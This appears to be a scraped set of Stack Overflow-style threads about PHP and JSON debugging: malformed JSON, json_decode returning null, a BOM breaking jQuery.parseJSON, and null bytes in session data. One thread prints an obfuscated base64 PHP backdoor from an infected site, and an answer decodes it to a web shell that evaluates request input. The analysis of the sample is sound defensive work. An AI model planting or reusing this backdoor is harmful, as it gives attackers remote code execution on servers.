I am trying to parse the json output from
http://www.nyc.gov/portal/apps/311_contentapi/services/all.json
And my php json_decode returns a NULL
I am not sure where the issue is, I tried running a small subset of the data through JSONLint and it validated the json.
Any Ideas?
The error is in this section:
{
"id":"2002-12-05-22-24-56_000010083df0188b4001eb56",
"service_name":"Outdoor Electric System Complaint",
"expiration":"2099-12-31T00:00:00Z",
"brief_description":"Report faulty Con Edison equipment, including dangling or corroded power lines or "hot spots.""
}
See where it says "hot spots." in an already quoted string. Those "'s should've been escaped. Since you don't have access to edit the JSON perhaps you could do a search for "hot spots."" and replace it with \"hot spots.\"" like str_replace('"hot spots.""', '\\"hot spots.\\""\, $str); for as long as that's in there. Of course that only helps if this is a one time thing. If the site continues to make errors in their JSON output you'll have to come up with something more complex.
What I did to identify the errors in the JSON ...
Since faulty quoting is the first thing to look for, I downloaded the JSON to a text file, opened in a text editor (I used vim but any full featured editor would do), ran a search and replace that removed all characters except double-quote and looked at the result. It was clear that correct lines should have 4 double-quotes so I simply searched for 5 double-quotes together and found the first bad line. I noted the line number and then undid the search and replace to get the original file back and looked at that line. This gives you what you need to get the developers of the API to fix the JSON.
Writing code to automatically fix the bad JSON before giving it to json_decode() would be quite a bit harder but doable using techniques like those in another answer.
According to the PHP manual:
In the event of a failure to decode, json_last_error() can be used to determine the exact nature of the error.
Try calling it to see where the error is.
Related
I Have read a lot on the normal php eval with the base64_encoder and was able to decode much of the infected php files.
With that said, I have this one file that does not follow standard eval call and I would like some help from the community.
Can anyone decode and/or tell me whats happening in the code?
Thanks,
--Eric
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnBvKi9ldmFsLypGUSZRX00qLygvKk56SiovYmFzZTY0X2RlY29kZS8qPDU+cyovKC8qTVl5YnMqLydMeW91U
EZJcUwybG1MeXBiY0h0aFZTb3ZLQzhxZCcvKndLc2Q/PGgqLy4vKllcdkgqLycweHVYRFJvTkNvdmFYTnpaWFF2S2sxTVBDb3ZLQycvKiF9Z1sqLy4vKiBrVlQqLyc4cWRYMHJLaThrWDFKRlVWVkZVMVF2S2
54Mk9DdCcvKjlRSG1Ta1FIKi8uLypFYlMuaCovJ2VNRHM4S2k5Ykx5cHNkSFlxTHlkakp5OHFkMmRHJy8qQUI5Ki8uLypxcyFIZU4qLydlQ292TGk4cVFsVXpObElxTHlkdUp5OHFjRGw0SScvKiY6ZSovLi8
qSlVxKi8nVU51S2k4dUx5b3hYQ1o2S2k4bmVTY3ZLbU10Sz'/*0B>.'&CK*/./*W1H*/'MnLypxcFpJKi8uLypBKWVTKi8nQlNLaTh1THlwa2JqRTFKVG9xTHlkemNTY3ZLa2QnLypgZj5zZTgqLy4vKjlENT
FcTyovJ0ROVGxWS2k5ZEx5cFRORXc1S2k4dkttaytXVE1vJy8qOmBaRUtlJkUqLy4vKlVILjspZSovJ1pTb3ZLUzhxT1RCbFVsWlZLaTh2S2xaSmRTVkpmJy8qVzpMa2hUKi8uLyo1cTNmdT8qLydDb3ZLUzh
xTlZvM0ppb3ZaWFpoYkM4cVp5MWNTMCcvKmheXTtbICovLi8qTC5SS2JZKi8nY3FMeWd2S21KNFZVNHllU292YzNSeWFYQnpiR0YnLypTS2MuJSovLi8qb3MwXjUySHsqLyd6YUdWekx5cGVWVjUzYnlvdktD
OHFKMk00SjBvcScvKlJrSCEqLy4vKk41JjkqLydMeVJmVWtW'/*Ju%:AN*/./*0\`a Z=*/'UlZVVlRWQzhxUUNoZGF5b3ZXeThxTCcvKjw8J3guaCovLi8qbixXKi8nV1JXZXpKSFB6QXFMeWRqYmljdktpMX
JlVkpKS2knLyotVS5zKi8uLyogUl5OKi8nOHVMeXBFVnpKYVoyRXFMeWQ1YzNFbkx5bzRTMFknLypjWmsqLy4vKjNkeWVMKi8naElEb3lRU292WFM4cU5peDZkU292THlwdlNVSngnLyonQVJWdyl1Ki8uLyp
eX1pKOmZ2Ki8nVVNvdktTOHFNV0JqS1V3cUx5OHFiMVU4T2tzcUwnLypUdlQrJkYqLy4vKmtFPDNmISovJ3lrdktsVkllMnNsS2k4dktsWmhVaTVUS3lvdk95OHFKbHhoZlN4MEtpOD0nLypaKWVePyovKS8q
J2tYKi8vKmsmViovKS8qMWdFVyovLyo8OHhObSovOy8qXW8/Ki8='/*L,}I*/)/*8Oyj*//*uEGgU*/)/*+LT*//*Q?.e*/;/*oGCkBv*/ ?>
If you go all the way down the rabbit hole, you get the following command.
if(isset($_REQUEST['cnysq']))eval(stripslashes($_REQUEST['cnysq']));
If you open the code up in a visual editor, you'll see there are a lot of comments. Remove those, and you'll see that it's a bas64 encoded string.
Decode that, and you'll see more of the same.
Keep removing comments and concatenating strings and after about 3 levels, you get to this point.
It's just a bunch of PHP comments in there, e.g. from the first line:
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnB etc...
^^^^^^^ ^^^^^^^^^^^ ^^^^^^^^ ^^^^^^^^^ ^^^^^^^--comments
is really just
<?php eval(base64_decode('LyPSnB etc...
I'm writing PHP code that uses a database. To do so, I use an array as a hash-map.
Every time content is added or removed from my DB, I save it to file.
I'm forced by my DB structure to use this method and can't use mysql or any other standard DB (School project, so structure stays as is).
I built two functions:
function saveDB($db){
$json_db = json_encode($db);
file_put_contents("wordsDB.json", $json_db);
} // saveDB
function loadDB(){
$json_db = file_get_contents("wordsDB.json");
return json_decode($json_db, true);
} // loadDB
When echo-ing the string I get after the encoding or after loading from file, I get a valid json (Tested it on a json viewer) Whenever I try to decode the string using json_decode(), I get null (Tested it with var_dump()).
The json string itself is very long (~200,000 characters, and that's just for testing).
I tried the following:
Replacing single/double-quotes with double/single-quotes (Without any backslashes, with one backslash and three backslashes. And any combination I could think of with a different number of backslashes in the original and replaced string), both manually and using str_replace().
Adding quotes before and after the json string.
Changing the page's encoding.
Decoding without saving to file (Right after encoding).
Checked for slashes and backslashes. None to be found.
Tried addslashes().
Tried using various "Escape String" variants.
json_last_error() doesn't work. I get no error number (Get null, not 0).
It's not my server, so I'm not sure what PHP version is used, and I can't upgrade/downgrade/install anything.
I believe the size has something to do with it, because small strings seem to work fine.
Thanks Everybody :)
In your JSON file change null to "null" and it will solve the problem.
Check if your file is UTF8 encoded. json_decode works with UTF8 encoded data only.
EDIT:
After I saw uploaded JSON data, I did some digging and found that there are 'null' key. Search for:
"exceeding":{"S01E01.html":{"2217":1}},null:{"S01E01.html":
Change that null to be valid property name and json_decode will do the job.
I had a similar problem last week. my json was valid according to jsonlint.com.
My json string contained a # and a & and those two made json_decode fail and return null.
by using var_dump(json_decode($myvar)) which stops right where it fails I managed to figure out where the problem was coming from.
I suggest var_dumping and using find dunction to look for these king of characters.
Just on the off chance.. and more for anyone hitting this thread rather than the OP's issue...I missed the following, someone had htmlentities($json) way above me in the call stack. Just ensure you haven't been bitten by the same and check the html source.
Kickself #124
Hey there, I have an Arabic contact script that uses Ajax to retrieve a response from the server after filling the form.
On some apache servers, jQuery.parseJSON() throws an invalid json excepion for the same json it parses perfectly on other servers. This exception is thrown only on chrome and IE.
The json content gets encoded using php's json_encode() function. I tried sending the correct header with the json data and setting the unicode to utf-8, but that didn't help.
This is one of the json responses I try to parse (removed the second part of if because it's long):
{"pageTitle":"\u062e\u0637\u0623 \u0639\u0646\u062f \u0627\u0644\u0625\u0631\u0633\u0627\u0644 !"}
Note: This language of this data is Arabic, that's why it looks like this after being parsed with php's json_encode().
You can try to make a request in the examples given down and look at the full response data using firebug or webkit developer tools. The response passes jsonlint!
Finally, I have two urls using the same version of the script, try to browse them using chrome or IE to see the error in the broken example.
The working example : http://namodg.com/n/
The broken example: http://www.mt-is.co.cc/my/call-me/
Updated: To clarify more, I would like to note that I manged to fix this by using the old eval() to parse the content, I released another version with this fix, it was like this:
// Parse the JSON data
try
{
// Use jquery's default parser
data = $.parseJSON(data);
}
catch(e)
{
/*
* Fix a bug where strange unicode chars in the json data makes the jQuery
* parseJSON() throw an error (only on some servers), by using the old eval() - slower though!
*/
data = eval( "(" + data + ")" );
}
I still want to know if this is a bug in jquery's parseJSON() method, so that I can report it to them.
Found the problem! It was very hard to notice, but I saw something funny about that opening brace... there seemed to be a couple of little dots near it. I used this JavaScript bookmarklet to find out what it was:
javascript:window.location='http://www.google.com/search?q=u+'+('000'+prompt('String?').charCodeAt(prompt('Index?')).toString(16)).slice(-4)
I got the results page. Guess what the problem is! There is an invisible character, repeated twice actually, at the beginning of your output. The zero width non-breaking space is also called the Unicode byte order mark (BOM). It is the reason why jQuery is rejecting your otherwise valid JSON and why pasting the JSON into JSONLint mysteriously works (depending on how you do it).
One way to get this unwanted character into your output is to save your PHP files using Windows Notepad in UTF-8 mode! If this is what you are doing, get another text editor such as Notepad++. Resave all your PHP files without the BOM to fix your problem.
Step 1: Set up Notepad++ to encode files in UTF-8 without BOM by default.
Step 2: Open each existing PHP file, change the Encoding setting, and resave it.
You should try using json2.js (it's on https://github.com/douglascrockford/JSON-js)
Even John Resig (creator of jQuery) says you should:
This version of JSON.js is highly recommended. If you're still using the old version, please please upgrade (this one, undoubtedly, cause less issues than the previous one).
http://ejohn.org/blog/the-state-of-json/
I don't see anything related to parseJSON()
The only difference I see is that in the working example a session-cookie is set(guess it is needed for the "captcha", the mathematical calculation), in the other example no session-cookie is set. So maybe the comparision of the calculation-result fails without the session-cookie.
My previous question and this question both are related a bit. please have a look at my previous question I did not found any other way to unserialize the data so coming with the string operation
I am able to get the whole content from file but not able to get the specific string from this content.
I want to search a specific string from these content but function stop working when the reach at first special character in the string. If I am searching something found before the special character the works properly.
String operation function of PHP not working properly when the encounter first special character in the string and stop processing immediately, Hence they does not give me the correct output.
Originally they looks like (^#)
:"Mage_Core_Model_Message_Collection":2:{s:12:"^#*^#_messages";a:0:{}s:20:"^#*^#_lastAddedMessage";N;}
but when I did echo they are display as ?
Here is the code what I tried
$file='/var/www/html/products/var/session/sess_ciktos8icvk11grtpkj3u610o3';
$contents=file_get_contents($file);
$contents=htmlspecialchars($contents);
//$contents=htmlentities($contents);
echo $contents;
$restData=strstr($contents,'"id";s:4:"');
echo $restData;
$id=substr($restData,0,strpos($restData,'"'));
echo $id;
I changed the default_charset to iso-8859-1 and also utf-8 but not working with both
Please let me know How I can resolve this.
Thanks.
These characters that you see as ^# are actually null bytes. They don't have any proper display, neither they are meant to be displayed - it's an internal representation of protected properties in the engine. You're not supposed to mess with them.
As for resolving, it'd be nice to know what kind of resolution you seek - what result are you trying to achieve?
Trying to implement the excellent jQuery bidirectional infite scroll as explained here:
http://www.bennadel.com/blog/1803-Creating-A-Bidirectional-Infinite-Scroll-Page-With-jQuery-And-ColdFusion.htm
For the server-side, which returns JSON, the example is in ColdFusion. Trying to implement it in PHP.
I need to find out what the format of the JSON is.
RIght now, I am returning
[{"src":"https:\/\/s3.amazonaws.com\/gbblr_2\/100\/IMG_1400 - original.jpg","offset":"5"},{"src":"https:\/\/s3.amazonaws.com\/gbblr_2\/100\/IMG_1399 - original.jpg","offset":6},{"src":"https:\/\/s3.amazonaws.com\/gbblr_2\/100\/IMG_1398 - original.jpg","offset":7}]
which doesn't work, in the html that is generated it shows "UNDEFINED" for both the src and the offset variables.
So my question: what kind of JSON does that coldfusion code generate? What is the format of JSON that I need to return.
Thanks for any tips!!
CF's JSON mentioned in Ben's post is similar to this:
[{"SRC":"http:\/\/example.com\/public","OFFSET":3.0},{"SRC":"http:\/\/example.com\/public","OFFSET":3.0}]
I'd try to check key names first. Yes, CF makes them uppercase, and JS doesn't like it sometimes. Check his function applyListItems() and check if RegExp finds something or not.
If this doesn't help little Firebug line debugging and console.log will do the trick I guess.
Looks like the JSON you're creating should be equivalent to his. He is creating an array of structures; where each structure contains the keys "src" and "offset".
He is converting to base64 and binary for streaming purposes, but I don't know how that would work -- or if it would be required -- for a php implementation.
I would use Firebug to figure out exactly where in your JavaScript the error is being thrown. That will tell you more about what exactly the problem is.